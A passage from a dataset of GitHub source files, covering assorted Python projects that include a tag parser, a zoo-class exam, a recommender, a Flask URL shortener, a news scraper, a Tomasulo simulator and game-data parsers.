ODE_simulator_embedded(test_parameter_sample)\nprint(test_sim_data)","repo_name":"bosihou/Density_Estimation_Network_Application","sub_path":"DENN_Python/DENN_utils.py","file_name":"DENN_utils.py","file_ext":"py","file_size_in_byte":7937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1234555846","text":"\"\"\"\nTransform tag to argument\n\"\"\"\nfrom typing import List\n\nDEFAULT_CONTEXT_SYMBOL = ':'\nDEFAULT_LIST_SEPARATOR = ','\n\n\ndef format_option(option: str) -> str:\n \"\"\"\n Format option\n \"\"\"\n return f'--{option}'\n\n\ndef tag_to_arguments(tag: str) -> List[str]:\n \"\"\"\n Transform tag to a list of argument\n \"\"\"\n if not tag:\n return []\n\n if DEFAULT_CONTEXT_SYMBOL not in tag:\n return [format_option(tag)]\n\n option, arguments = tag.split(DEFAULT_CONTEXT_SYMBOL)\n if not arguments:\n return [format_option(option)]\n return [\n x for args in arguments.split(DEFAULT_LIST_SEPARATOR) for x in [format_option(option), args]\n ]\n\n\ndef tags_to_arguments(tags: List[str]) -> List[str]:\n \"\"\"\n Transform list of tag to list argument\n \"\"\"\n return [\n x for tag in tags for x in tag_to_arguments(tag)\n ]\n","repo_name":"LeConTesteur/robotframework-tags-parameters","sub_path":"robotframework_tags_parameters/tagsparser.py","file_name":"tagsparser.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29932699803","text":"####################################################################################\n### 420-2G2 - Programmation orientée objet\n### Travail: Examen final - Zoo\n### Nom: Jeremy lebel\n### No étudiant: 2125813\n### No Groupe: ?\n### Description du fichier: Classe Piosson\n####################################################################################\n\n# importation de classes\nfrom animal import *\nfrom enclos import *\nfrom liste_globale import lst_enclos\n# instanciation\n\n# importation de fonction speciale\nimport json\n\n\nclass Poisson(Animal):\n \"\"\"\n Classe Enclos\n \"\"\"\n\n # MÉTHODE CONSTRUCTEUR #\n ###################################\n def __init__(self, p_num_animal = \"\", p_nom_animal = \"\", p_Type_alimentation = \"\", p_Type_animal = \"\",\n p_enclos = Enclos(), p_longueur = 0, p_Type_eau = \"\"):\n Animal.__init__(self, p_num_animal, p_nom_animal, p_Type_alimentation, p_Type_animal, p_enclos)\n self.__longueur = p_longueur\n self.Type_eau = p_Type_eau\n\n #### Propriétés, accesseurs et mutateurs ####\n ##################################################\n\n def get_longueur(self):\n \"\"\"\n Accesseur de l'attribut privé __longueur\n \"\"\"\n return self.__longueur\n def set_longueur(self, p_longueur):\n \"\"\"\n Mutateur de l'attribut privé __longueur\n \"\"\"\n if p_longueur.isnumeric():\n p_longueur = int(p_longueur)\n if p_longueur > 0:\n self.__longueur = p_longueur\n Longueur_poisson = property(get_longueur, set_longueur)\n\n\n ##### MÉTHODES SPÉCIALES OU MAGIQUES #####\n ############################################\n\n def __str__(self) :\n \"\"\"\n Méthode spéciale d'affichage. À utiliser avec print(objet)\n :return: Chaine à afficher\n \"\"\"\n output = (f\"Nom de l'animal: {self.Nom_animal}\\n\")\n output += (f\"Numero de l'animal: {self.Num_animal}\\n\")\n output += (f\"Type d'animal: {self.Type_animal}\\n\")\n output += (f\"Type d'alimentation: {self.Type_alimentation}\\n\")\n output += (f\"Longueur du poisson: {self.__longueur}\\n\")\n output += (f\"Type d'eau: {self.Type_eau}\\n\")\n output += (f\"{self.enclos.__str__()}\\n\")\n return output\n\n ##### Autres MÉTHODES #####\n ############################################\n\n def serialiser(self, p_fichier):\n \"\"\"\n Méthode permttant de sérialiser un objet de la classe Reptile\n ::param p_fichier : Le nom du fichier qui contiendra l'objet sérialisé\n :: return : retourne 0 si le fichier est ouvert et les informations y sont écrites,\n 1 s'il y a erreur d'écriture et 2 s'il y a erreur d'ouverture\n \"\"\"\n try:\n with open(p_fichier, \"w\") as fichier:\n try:\n for enc in lst_enclos:\n if enc.Num_enclos == self.__dict__[\"enclos\"]:\n self.__dict__[\"enclos\"] = enc.__dict__\n json.dump(self.__dict__, fichier)\n return 0\n except:\n return 1\n except:\n return 2\n\n def deserialiser(self, p_fichier):\n \"\"\"\n Méthode permttant de désérialiser un objet de la classe Reptile\n ::param p_fichier : Le nom du fichier qui contient l'objet sérialisé\n \"\"\"\n try:\n with open(p_fichier, \"r\") as fichier:\n try:\n self.__dict__ = json.load(fichier)\n # print(self.enclos.__dict__) #= {'Type_enclos': '', 'Emplacement': '', '_Enclos__num_enclos': '', 'lst_animal': []}\\\n #print(self.__dict__[\"enclos\"]) #= {'Type_enclos': 'Terrarium', 'Emplacement': 'sous_sol', '_Enclos__num_enclos': '1234', 'lst_animal': []}\n # self.__dict__[\"enclos\"] = \"a\"\n #print(self.enclos[\"_Enclos__num_enclos\"]) #= 1234\n # faire for loop parcourant liste enclos reperant lobjet enclos associer au num\n\n except:\n return 1\n except:\n return 2\n\n","repo_name":"jlebelj/Exam-_zoo","sub_path":"poisson.py","file_name":"poisson.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7140531626","text":"import pandas as pd\nimport time\nimport redis\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\n\n\ndef info(msg):\n current_app.logger.info(msg)\n\n\nclass ContentEngine(object):\n\n SIMKEY = 'p:smlr:%s'\n\n def __init__(self):\n self._r = redis.StrictRedis.from_url(current_app.config['REDIS_URL'])\n\n def train(self, data_source):\n ds = pd.read_csv(data_source)\n self._r.flushdb()\n\n self._train(ds)\n\n def _train(self, ds):\n tf = TfidfVectorizer(analyzer='word',\n ngram_range=(1, 3),\n min_df=0,\n stop_words='english')\n tfidf_matrix = tf.fit_transform(ds['description'])\n\n cosine_similarities = linear_kernel(tfidf_matrix, tfidf_matrix)\n\n for idx, row in ds.iterrows():\n similar_indices = cosine_similarities[idx].argsort()[:-100:-1]\n similar_items = [(cosine_similarities[idx][i], ds['id'][i])\n for i in similar_indices]\n\n flattened = sum(similar_items[1:], ())\n self._r.zadd(self.SIMKEY % row['id'], *flattened)\n def predict(self, item_id, num):\n return self._r.zrange(self.SIMKEY % item_id,\n 0,\n num-1,\n withscores=True,\n desc=True)\n\nif __name__ == \"__main__\":\n sample_sub_fname = \"data/sample_submission.csv\"\n ratings_data_fname = \"data/ratings.dat\"\n output_fname = \"data/test_ratings.csv\"\n\n ratings = gl.SFrame(ratings_data_fname, format='tsv')\n sample_sub = pd.read_csv(sample_sub_fname)\n for_prediction = gl.SFrame(sample_sub)\n rec_engine = ContentEngine()\n sample_sub.rating = rec_engine.predict(for_prediction)\n sample_sub.to_csv(output_fname, index=False)\n","repo_name":"yangjici/joke_recommender","sub_path":"sara_virtual_env/contentrec.py","file_name":"contentrec.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27732328292","text":"import pyshorteners\nfrom flask import Flask, render_template, request, flash, redirect, url_for\n\napp = Flask(__name__, template_folder='../templates')\nshortener = pyshorteners.Shortener()\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return show_the_page()\n if request.method == 'POST':\n return shorten_link()\n\n\ndef show_the_page():\n return render_template('index.html')\n\n\ndef shorten_link():\n full_url = request.form['url']\n\n if request.form['shortener'] == 'tinyurl':\n short_url = shortener.tinyurl.short(full_url)\n elif request.form['shortener'] == 'chilpit':\n short_url = shortener.chilpit.short(full_url)\n elif request.form['shortener'] == 'clckru':\n short_url = shortener.clckru.short(full_url)\n else:\n short_url = \"\"\n\n return render_template('index.html', full_url=full_url, url=short_url)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"wendyktps/url_shortener","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2620556909","text":"from spider.spiders.news.NewsSpider import NewsSpider\nfrom scrapy import Request, signals\nimport json\n\n\"\"\"\n 摩尔芯球\n\"\"\"\n\nclass MooreSpider(NewsSpider):\n start_urls = [\"https://moore.live/\"]\n name = \"moore_news\"\n allowed_domains = [\"moore.com\"]\n news_type_url_list = [\n {\"code\": \"https://moore.live/news/api/list/1/?page=1&per_page=20&recommend=true\",\n \"name\": \"芯热门\"},\n {\"code\": \"https://moore.live/news/api/list/14/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯科技\"},\n {\"code\": \"https://moore.live/news/api/list/10/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯设计\"},\n {\"code\": \"https://moore.live/news/api/list/11/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯制造\"},\n {\"code\": \"https://moore.live/news/api/list/12/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯材料\"},\n {\"code\": \"https://moore.live/news/api/list/13/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯封测\"},\n {\"code\": \"https://moore.live/news/api/list/15/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯财报\"},\n {\"code\": \"https://moore.live/news/api/list/16/?page=1&per_page=20&recommend=None\",\n \"name\": \"芯情报\"},\n ]\n def start_requests(self):\n for news_url in self.news_type_url_list:\n yield Request(\n news_url[\"code\"],\n dont_filter=True\n )\n\n def __init__(self, *a, **kw):\n super(MooreSpider, self).__init__(*a, **kw)\n self.current_page = 1\n\n def parse(self, response):\n datas = json.loads(response.text)\n data_json = datas[\"data\"]['rows']\n for data in data_json:\n title = data['news']['title']\n conver_url = data['news']['headImg']\n id = data['news']['id']\n detail_url =\"https://moore.live/news/\"+str(id)+\"/detail/\"\n yield Request(\n url=detail_url,\n meta={\"id\": id,\n \"title\": title,\n \"conver_url\": conver_url},\n dont_filter=True,\n callback=self.detail\n\n )\n\n def detail(self, response):\n # out_id =response.meta.get('id')\n id = response.meta.get('id')\n cover = response.meta.get('conver_url')\n title = response.meta.get('title')\n published_at = response.xpath('//div[@class=\"origin\"]/p[@class=\"otherinfo\"]/span[3]/text()').extract_first()\n\n content = response.xpath(\n \"/html/body\").extract_first(),\n new_type = \"半导体、芯片\",\n\n # print(id,\n # published_at,\n # title,\n # new_type,\n # \"摩尔芯球\",\n # None,\n # content,\n # response.url,\n # \"102\",\n # cover)\n\n self.insert_new(\n id,\n published_at,\n title,\n new_type,\n \"摩尔芯球\",\n None,\n content,\n response.url,\n 102\n )\n\n # self.insert_new_1(\n # id,\n # published_at,\n # title,\n # new_type,\n # \"摩尔芯球\",\n # None,\n # content,\n # response.url,\n # \"102\",\n # cover\n # )\n pass\n\n","repo_name":"zuolinlin/spider","sub_path":"spider/spiders/news/MooreSpider.py","file_name":"MooreSpider.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28047276113","text":"#!/usr/bin/env python\nfrom pyspark import SparkContext, SparkConf\nimport pyspark_cassandra\nimport pyspark_cassandra.streaming\n\nfrom pyspark_cassandra import CassandraSparkContext\n\nfrom pyspark.sql import SQLContext\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nfrom uuid import uuid1\nimport sys\n\nbool_columns = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 27]\t\ncolumn_names = [\"date_of_stop\",\"time_of_stop\",\"agency\",\"subagency\",\\\n\t\t\t\t\"description\",\"location\",\"latitude\",\"longitude\",\\\n\t\t\t\t\"accident\",\"belts\",\"personal_injury\",\"property_damage\",\\\n\t\t\t\t\"fatal\",\"commercial_license\",\"hazmat\",\"commercial_vehicle\",\\\n\t\t\t\t\"alcohol\",\"work_zone\",\"state\",\"vehicletype\",\"year\",\\\n\t\t\t\t\"make\",\"model\",\"color\",\"violation_type\",\"charge\",\\\n\t\t\t\t\"article\",\"contributed_to_accident\",\"race\",\"gender\",\\\n\t\t\t\t\"driver_city\",\"driver_state\",\"dl_state\",\"arrest_type\",\n\t\t\t\t\"geolocation\"]\n\ndef csv_to_dict(line):\n\tif line.endswith(\",\") and not line.endswith(\",,\"):\n\t\tline += \",\"\n\titems = line.split('\"')\n\tfor i in range(len(items)):\n\t\tif ', ' in items[i]:\n\t\t\titems[i] = items[i].replace(', ', ' ')\n\tline = ''.join(items)\t\n\titems = line.split(',')\n\tfor i in range(len(items)):\n\t\tif i in bool_columns:\n\t\t\tif items[i].lower() == 'yes':\n\t\t\t\titems[i] = True\t\t\n\t\t\telse:\n\t\t\t\titems[i] = False\t\t\n\t\tif items[i] == '':\n\t\t\titems[i] = None\n\treturn dict(zip(column_names, items))\n\nconf = SparkConf() \\\n .setAppName(\"PySpark Cassandra Test\") \\\n .setMaster(\"spark://\"+sys.argv[1]+\":7077\") \\\n .set(\"spark.cassandra.connection.host\", sys.argv[1])\nsc = SparkContext(conf=conf)\n\nfile = sc.textFile(\"hdfs://\" + sys.argv[1] + \":9000/\"+sys.argv[2])\nlines = file.map(csv_to_dict)\nlines.saveToCassandra(\"insight_sathya\", \"violations\")\n","repo_name":"sbettadapura/insight_sathya","sub_path":"violations_to_db.py","file_name":"violations_to_db.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74657576562","text":"from dependency_injector.wiring import Provide, inject\n\nfrom common.database.unit_of_work import UnitOfWork\nfrom containers import MainContainer\nfrom questions.database.models import Question\nfrom questions.schemas import CreateQuestionSchema\n\n\n@inject\ndef create_question(data: CreateQuestionSchema, uow: UnitOfWork = Provide[MainContainer.question_uow]):\n with uow:\n question = Question(\n text=data.text,\n answer=data.answer,\n url=data.url,\n forward_id=data.forward,\n back_id=data.back,\n )\n uow.repository.save(question)\n uow.commit()\n return question.id\n","repo_name":"knucklesuganda/TAB","sub_path":"questions/services/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"36972715090","text":"import threading\nimport sys\nimport time\nimport queue\nimport tomasuloui_v2\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom buffer import *\nfrom executer import *\nfrom functions import *\nfrom memories import *\nfrom data_bus import *\nfrom instructions_unity import *\nfrom ROB import *\n\n\nclass Tomasulo:\n\t# Setting up Graphic Interface:\n\tdef __init__(self, file):\n\t\t# Global variables\n\t\tself.memory = []\n\t\tself.clocks = 0\t\n\t\tself.PC = 0\n\t\tself.concluded_instructions = 0\n\t\tself.recently_used_memory = recently_used_memory()\n\t\tself.destiny_buffer = destiny_buffer(\"destiny_buffer\", 4)\n\t\tself.labels = {}\n\n\t\tself.app = QtWidgets.QApplication(sys.argv)\n\t\tself.MainWindow = QtWidgets.QMainWindow()\n\t\tself.ui = tomasuloui_v2.Ui_MainWindow()\n\t\tself.ui.setupUi(self.MainWindow)\n\t\tself.ui.set_Tomasulo(self)\n\t\tself.MainWindow.show()\n\t\t# sys.exit(app.exec_())\n\n\n\t\tDict = {\n\t\t\t\"000000\": \"R\",\n\t\t\t\"R100000\": \"ADD\",\n\t\t\t\"R011000\": \"MUL\",\n\t\t\t\"R000000\": \"NOP\",\n\t\t\t\"R100010\": \"SUB\",\n\t\t\t\"001000\": \"ADDI\",\n\t\t\t\"000101\": \"BEQ\",\n\t\t\t\"000111\": \"BLE\",\n\t\t\t\"000100\": \"BNE\",\n\t\t\t\"000010\": \"JMP\",\n\t\t\t\"100011\": \"LW\",\n\t\t\t\"101011\": \"SW\"\n\t\t}\t\n\t\t\n\n\t\tself.instructions = []\n\n\t\t# with open('benchmark.txt') as file_in:\n\t\t# with open('input.txt') as file_in:\n\t\twith open(file) as file_in:\n\t\t\tfor line in file_in:\n\t\t\t\tif line[0] == '\\n':\n\t\t\t\t\tprint()\n\t\t\t\t\tbreak\n\t\t\t\tif line[0] == ';': continue\n\t\t\t\tself.instructions.append(read_binary(Dict, line))\n\t\t\t\t# instructions.append(read_assembly(Dict, line))\n\t\t\t\tprint(self.instructions[-1])\n\n\n\t\tself.register_bank = register_bank(\"register_bank\")\n\t\tself.ROB_bus = data_bus(\"ROB_bus\")\n\t\tself.ROB = ROB(\"reorder_buffer\", 10, [self.ROB_bus], self)\n\n\n\t\tself.common_data_bus = data_bus(\"common_data_bus\")\n\t\t# self.common_data_bus.add_receivers([self.register_bank, self.ROB])\n\t\tself.common_data_bus.add_receivers([self.ROB])\n\n\t\tself.loader = loader([self.common_data_bus], self)\n\t\tself.load_store = load_store(\"load_store\", 5, [self.common_data_bus], self.loader)\n\n\t\tself.multiplier = multiplier([self.common_data_bus], self)\n\t\tself.mult = reservation_station(\"mult\", 3, [self.common_data_bus], self.multiplier)\n\n\t\tself.adder = adder([self.common_data_bus], self)\n\t\tself.add_sub = reservation_station(\"add_sub\", 3, [self.common_data_bus], self.adder)\n\n\t\tself.common_data_bus.add_receivers([self.load_store, self.mult, self.add_sub])\n\t\tself.ROB_bus.add_receivers([self.load_store, self.add_sub, self.mult, self.register_bank])\n\n\t\tself.load_store_bus = data_bus(\"load_store_bus\")\n\t\tself.load_store_bus.add_receivers([self.load_store])\n\n\t\tself.operations_bus = data_bus(\"operations_bus\")\n\t\tself.operations_bus.add_receivers([self.mult, self.add_sub])\n\n\t\tself.instructions_unity = instructions_unity(\"instructions_unity\", 6, [self.load_store_bus, self.operations_bus], self)\n\n\t\tself.memory = [0] * 4000\n\t\tself.clocks = 0\n\t\tself.PC = 0\n\t\tself.concluded_instructions = 0\n\t\tself.recently_used_memory = recently_used_memory()\n\t\t\n\tdef play(self):\n\t\tprint(\"RUM:\")\n\t\tself.recently_used_memory.print()\n\t\tprint()\n\t\tprint(\"Destiny buffer:\")\n\t\tself.destiny_buffer.print()\n\t\tprint()\n\t\tprint(\"CLOCKS:\", self.clocks)\n\t\tprint(\"PC:\", self.PC)\n\t\tprint(\"# of concluded instructions:\", self.concluded_instructions)\n\t\tself.CPI = 0\n\t\tif self.concluded_instructions != 0:\n\t\t\tself.CPI = round(self.clocks/self.concluded_instructions, 3)\n\t\t\tprint(\"CPI:\", self.CPI)\n\t\tself.clocks += 1\n\t\t# if self.clocks == 120: input()\n\t\tif (not self.instructions_unity.full()) and (int(self.PC / 4) < len(self.instructions)):\n\t\t\t# if instructions[int(PC / 4)][0] == \"P\":\n\t\t\t# \tlabels[instructions[int(PC / 4)][1]] = PC\n\t\t\t# else:\n\t\t\t# \tinstructions_unity.push(copy_list(instructions[int(PC / 4)]))\n\n\t\t\tif self.instructions_unity.empty() or (self.instructions_unity.top()[0] != \"BEQ\" and self.instructions_unity.top()[0] != \"BLE\" and self.instructions_unity.top()[0] != \"BNE\"):\n\t\t\t\tself.instructions_unity.push(copy_list(self.instructions[int(self.PC / 4)]))\n\t\t\t\tself.PC += 4\n\n\t\t# self.common_data_bus.print()\n\n\t\tprint()\n\t\tself.instructions_unity.print()\n\t\tself.load_store.print()\n\t\tself.mult.print()\n\t\tself.add_sub.print()\n\t\tself.register_bank.print()\n\t\tself.ROB.print()\n\t\tprint()\n\n\t\tself.instructions_unity.clock(self.register_bank)\n\t\tself.load_store.clock(self.register_bank, self)\n\t\tself.mult.clock(self.register_bank)\n\t\tself.add_sub.clock(self.register_bank)\n\t\t# self.ROB.clock(self.register_bank)\n\n\t\tself.load_store_bus.clock()\n\t\tself.operations_bus.clock()\n\t\tself.common_data_bus.clock()\n\t\t# self.ROB_bus.clock()\n\t\tself.ROB.clock(self.register_bank)\n\n\n\t\t# Updating Graphic Interface:\n\t\tself.ui.update_register_bank(self.register_bank)\n\t\tself.ui.update_RUM(self.recently_used_memory)\n\t\tself.ui.update_Clock_Table([self.clocks, self.PC, self.concluded_instructions, self.CPI])\n\n\n\t\tpos = 0\n\t\tself.ui.update_Stations_Table(self.load_store, pos)\n\t\tpos += self.load_store.max_size\n\n\t\tself.ui.update_Stations_Table(self.add_sub, pos)\n\t\tpos += self.add_sub.max_size\n\n\t\tself.ui.update_Stations_Table(self.mult, pos)\n\t\tpos += self.mult.max_size\n\n\t\tself.ui.update_ROB_Buffer_Table(self.ROB)\n\t\tself.ui.update_ROB_Registers_Table(self.ROB)\n\n\t\treturn self.is_active()\n\t\n\tdef is_active(self):\n\t\tif (self.PC / 4) >= len(self.instructions):\n\t\t\tactive = False\n\n\t\t\tfor i in range(self.instructions_unity.max_size):\n\t\t\t\tif self.instructions_unity.list[i] or self.instructions_unity.busy[i] or self.instructions_unity.state[i] == \"Executing\":\n\t\t\t\t\tactive = True\n\t\t\tfor i in range(self.load_store.max_size):\n\t\t\t\tif self.load_store.size > 0 or self.load_store.executer.busy():\n\t\t\t\t\tactive = True\n\t\t\tfor i in range(self.mult.max_size):\n\t\t\t\tif self.mult.size > 0 or self.mult.executer.busy():\n\t\t\t\t\tactive = True\n\t\t\tfor i in range(self.add_sub.max_size):\n\t\t\t\tif self.add_sub.size > 0 or self.add_sub.executer.busy():\n\t\t\t\t\tactive = True\n\n\t\t\tfor i in range(self.ROB.max_size):\n\t\t\t\tif self.ROB.size > 0:\n\t\t\t\t\tactive = True\n\n\t\t\tif not active: return False\n\n\t\treturn True\n\n\nif __name__ == \"__main__\":\n\tTomasulo = Tomasulo(sys.argv[1])\n\n\tinput()","repo_name":"Lucas1Jorge/Speculative_Tomasulo_Algorithm","sub_path":"Tomasulo_v2.py","file_name":"Tomasulo_v2.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34584586892","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nft = np.load('ft_data.npy')\nlabels = (\n 'Jacket',\n 'Button-Down',\n 'Jersey',\n 'Hoodie',\n 'Sweater',\n 'Tee',\n 'Jeans',\n 'Sweatpants',\n 'Shorts',\n 'Dress',\n 'Skirt',\n 'Top')\nax = plt.subplot()\nplt.figure(figsize=(8,3))\n\n# ax.set_yticks(list(range(len(labels))), labels)\n# ax.scatter(ft[:, 4], ft[:, 0])\nl = []\nfor i in range(len(labels)):\n l.append(np.array(ft[ft[:, 0] == i][:, 4]).astype(np.float32))\nflierprops = dict(marker='.')# , markerfacecolor='green', markersize=12, markeredgecolor='none')\nmedianprops = dict(color='dodgerblue', linewidth=1.5)\nmeanprops = dict(color='orange')\nax.boxplot(l, labels=labels, vert=False, meanprops=meanprops, flierprops=flierprops, medianprops=medianprops, showmeans=True, meanline=True)\nplt.show()","repo_name":"TAMS-Group/MultimodalClothes","sub_path":"code/plot_ft_data.py","file_name":"plot_ft_data.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"24653545280","text":"# gets what room the user wants to look in\nlook = input(\"Where should I look?\")\n# checks if bedroom was in the user input\nif \"bedroom\" in look.lower():\n where = input(\"Where in the bedroom should I look?\")\n # use of a nested if statement to check if cupboard was used in the user input\n if \"cupboard\" in where.lower():\n print(\"Found some mess but no battery.\")\n# checks if bathroom was in the user input\nelif \"bathroom\" in look.lower():\n where = input(\"Where in the bathroom should I look?\")\n # use of a nested if statement to check if bathtub was used in the user input\n if \"bathtub\" in where.lower():\n print(\"Found a rubber duck but no battery\")\n# checks if lab was in the user input\nelif \"lab\" in look.lower():\n where = input(\"Where in the lab should I look?\")\n # use of a nested if statement to check if table was used in the user input\n if \"table\" in where.lower():\n print(\"Yes! I found my battery!\")\n# makes sure the code doesnt break if the user doesnt input the correct rooms\nelse:\n print(\"That room doesnt exist\")","repo_name":"BillyDearing02/com411","sub_path":"basics/decisions/nested_decision/nestception.py","file_name":"nestception.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4612542329","text":"import torch\nimport os\nimport tqdm\nimport torch.utils.data as data\nimport cv2\nimport matplotlib.pyplot as plt\nfrom torchvision import transforms\nfrom torchvision.transforms import ToPILImage\nimport tqdm\nfrom PIL import Image\nimport numpy as np\n\nfrom dataloader import ColorHintDataset\nfrom model import ColorizationModel\n\nsave_path = './ColorizationNetwork'\nmodel_path = os.path.join(save_path, 'validation_model.tar')\nstate_dict = torch.load(model_path)\n\nprint(state_dict['memo'])\nprint(state_dict.keys())\nprint(state_dict['PSNR'])\n\n# Change to your data root directory\nroot_path = \"./\"\n\n# Depend on runtime setting\nuse_cuda = True\n\ntest_dataset = ColorHintDataset(root_path, 128)\ntest_dataset.set_mode(\"testing\")\n\ntest_dataloader = data.DataLoader(test_dataset)\n\n\ndef image_show(img):\n if isinstance(img, torch.Tensor):\n img = ToPILImage(img)()\n plt.imshow(img)\n plt.show()\n\n\ndef tensor2im(input_image, imtype=np.uint8):\n if isinstance(input_image, torch.Tensor):\n image_tensor = input_image.data\n else:\n return input_image\n image_numpy = image_tensor[0].cpu().float().numpy()\n if image_numpy.shape[0] == 1:\n image_numpy = np.tile(image_numpy, (3, 1, 1))\n image_numpy = np.clip((np.transpose(image_numpy, (1, 2, 0))), 0, 1) * 255.0\n return image_numpy.astype(imtype)\n\n\nnet = ColorizationModel().cuda()\n\nnet.load_state_dict(state_dict['model_weight'], strict=True)\n\n\ndef test_1epoch(net, dataloader):\n net.eval()\n\n for sample in tqdm.auto.tqdm(dataloader):\n img_l = sample['l']\n img_hint = sample['hint']\n file_name = sample['file_name']\n\n img_l = img_l.float().cuda()\n img_hint = img_hint.float().cuda()\n\n output = net(img_l, img_hint)\n\n output_image = torch.cat((img_l, output), dim=1)\n\n output_np = tensor2im(output_image)\n\n output_bgr = cv2.cvtColor(output_np, cv2.COLOR_LAB2BGR)\n\n # Image presentation\n #image_show(output_bgr)\n\n cv2.imwrite('./result/' + file_name[0], output_bgr)\n\n return 0\n\n\nres = test_1epoch(net, test_dataloader)\n","repo_name":"cheeseBG/Hint-based-Colorization","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5804629209","text":"from os.path import abspath\nfrom time import sleep\nimport sys\n\n\ndef _print_legal_stuff(full=False):\n \"\"\"Returns legal copyright notice and license information.\"\"\"\n if full:\n with open(abspath(\"../LICENSE\"), \"r\") as file:\n return file.read()\n else:\n licence_str = \"\"\"\n Dragon RPG Copyright (C) 2019 Khaïs COLIN\n This program comes with ABSOLUTELY NO WARRANTY; for details type `license'.\n This is free software, and you are welcome to redistribute it\n under certain conditions; type `license' for details.\n\"\"\"\n return licence_str\n\n\ndef print_legal_stuff(fast=False):\n \"\"\"\n Print legal copyright notice and license information.\n :return: None\n \"\"\"\n slowprint(text=_print_legal_stuff(), fast=fast)\n\n\ndef slowprint(text, interval=0.02, end=\"\\n\", end_interval=0.5, fast=False, charcount_interval=1):\n \"\"\"Print the given text slowly.\n\n Does not wait if a char is ` `\n\n Argument description:\n interval: time (in second) to wait between each letter\n end: string to append to the end of the text, default `\\n` to mimic print() behavior\n end_interval: time (in second) to wait when the text has finished printing\n fast: default False. when True, will skip all waiting and print the text instantly\n\n This is used to print text more slowly, so users will not be confused by rapidly scrolling text.\n \"\"\"\n for char in text:\n sys.stdout.write(char)\n sys.stdout.flush()\n if char != \" \" and not fast:\n sleep(interval)\n sys.stdout.write(end)\n if not fast:\n sleep(end_interval)\n\n\ndef slowinput(text, interval=0.03, end=\"\", end_interval=0, fast=False):\n \"\"\"Print the given text using utils.slowprint, using all the other arguments.\n Then asks the user for input, and return that input\n\n See the documentation for utils.slowprint for more information about the other arguments\n \"\"\"\n slowprint(text, interval, end, end_interval, fast=fast)\n return input()\n\n\ndef wait(time, fast=False):\n \"\"\"Sleep for the specified time. If fast is True, do nothing.\n\n This is used to add dramatic pauses, which can be disabled by the user\n \"\"\"\n if not fast:\n sleep(time)\n\n\ndef ask_y_n(fast):\n action = \"DUMMY ACTION\" # needed to avert an index out of range error\n while not action.strip().lower()[0] in [\"y\", \"n\"]: # ensure that a valid input is given\n action = slowinput(\"[y/n]> \", fast=fast)\n if action == \"\":\n action = \"DUMMY ACTION\"\n\n if cleanup_string(action)[0] == \"y\":\n return True\n else:\n return False\n\n\ndef cleanup_string(action):\n action = action.lower()\n action = action.strip()\n action = action.strip(\".\")\n action = action.strip(\"!\")\n action = action.strip(\"?\")\n action = action.strip()\n return action\n","repo_name":"logistic-bot/dragon-rpg-cli","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41027731305","text":"import construct\nfrom construct import (\n Const,\n Construct,\n GreedyBytes,\n Hex,\n IfThenElse,\n Int8ul,\n Int16ul,\n Struct,\n Switch,\n)\n\nfrom mercury_engine_data_structures import game_check\nfrom mercury_engine_data_structures.common_types import StrId, UInt, make_vector\nfrom mercury_engine_data_structures.construct_extensions.misc import ErrorWithMessage\nfrom mercury_engine_data_structures.formats import BaseResource\nfrom mercury_engine_data_structures.formats.collision import collision_formats\nfrom mercury_engine_data_structures.game_check import Game\n\nCollisionEntry = Struct(\n name=StrId,\n prop1=StrId,\n prop2=StrId,\n prop3=StrId,\n flag=IfThenElse(\n game_check.current_game_at_most(Game.SAMUS_RETURNS),\n Int8ul,\n Int16ul,\n ),\n type=StrId,\n data=Switch(\n construct.this.type,\n collision_formats,\n ErrorWithMessage(\n lambda ctx: f\"Type {ctx.type} not known, valid types are {list(collision_formats.keys())}.\"\n )\n ),\n)\n\nCollisionLayer = Struct(\n name=StrId,\n 